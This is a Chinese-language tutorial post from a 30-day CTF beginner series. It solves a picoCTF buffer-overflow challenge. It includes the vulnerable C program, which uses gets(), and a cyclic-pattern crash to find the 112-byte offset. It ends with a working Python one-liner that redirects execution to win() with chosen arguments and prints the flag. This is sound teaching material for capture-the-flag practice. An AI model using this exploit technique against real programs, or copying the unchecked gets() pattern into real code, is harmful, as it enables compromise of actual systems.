iT邦幫忙

第 11 屆 iThome 鐵人賽

DAY 28
1
Security

我搶到旗子了!30天CTF入門系列 第 28

Day28[Binary Exploitation] Buffer Overflow 填字遊戲!?

  • 分享至 

  • xImage
  •  

Binary Exploitation的題目我認為是比較難上手的,因為他牽涉到很多知識,包括組合語言、C 程式等等都有關係,若對這些不熟的可能會比較吃力一點,所以建議可以先從別的領域下手可能挫折感不會這麼大~


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xDEADBEEF)
    return;
  if (arg2 != 0xDEADC0DE)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

這裡一樣可以在vuln()這個函式內做buffer overflow,因為裡面的gets() 並沒有做輸入的檢查,所以我們利用輸入的內容使程式跳到win()這個函式去執行

不過,要拿到Flag必須要再通過兩個判斷,就是要帶兩個參數 0xDEADBEEF 以及 0xDEADC0DE ,至於要怎麼知道輸入的字串要輸入多長、要輸入什麼,這邊利用到昨天有提到 pwntools中的 cyclic 因為這邊buf的大小是100,那我們可以輸入大一點的字串例如200看看是在哪裡出錯

Please enter your string: 
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()

可以看到retrun address被填入 0x62616164 也就是 daab,但是這是一個錯誤的位址,所以會發生segmentation fault

接著再利用cyclic_find('daab') 找offset

cyclic_find('daab')
112

所以在輸入112個字元之後再加上win() 的位址 0x080485cb就可以跳到win()這個函式執行,在這以上都是昨天有提過的部分,不過要怎麼帶入參數進 win() 執行呢,這邊我利用stack來做說明

stack
aaaa
aaaa
aaaa
aaaa
.
.
.
0x080485cb
xxxx
0xDEADBEEF
0xDEADC0DE

以上這個stack是完整的輸入,不過一定會覺得有疑問中間為什麼會有一個xxxx,以下會做個說明

在做完 vuln()這個函式之後會retrun 到 win()的位置,所以0x080485cb 會被pop掉,所以這時的stack如下

stack
xxxx
0xDEADBEEF
0xDEADC0DE

這個xxxx代表的就是做完win()之後的return address不過因為我們已經不在意做完之後會到哪裡,所以這邊隨便填都可以,只要能填滿4個byte就好,再來下面的兩個就是win()的參數,所以這樣子就成功呼叫win() 這個函式

這邊也是像昨天一樣的方式 python -c (...) |./vuln
就可以成功拿到Flag囉

$ python -c "from pwn import *; print ('a'*112+p32(0x080485cb)+'x'*4+p32(0xDEADBEEF)+p32(0xDEADC0DE))" |./vuln 
Please enter your string: 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaᆳ?????
picoCTF{addr3ss3s_ar3_3asya4104c14}
Segmentation fault (core dumped)

其實Buffer Overflow的題目有點像SQL injection一樣的填字遊戲,不過事實上還是差蠻多的啦,因為它牽涉到更多層面的知識,所以不是隨便填都可以,可能差一個Byte就差很多了!


上一篇
Day27[Binary Exploitation] 非法控制程式流程
下一篇
Day29[Binary Exploitation] 格式化字串攻擊
系列文
我搶到旗子了!30天CTF入門30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言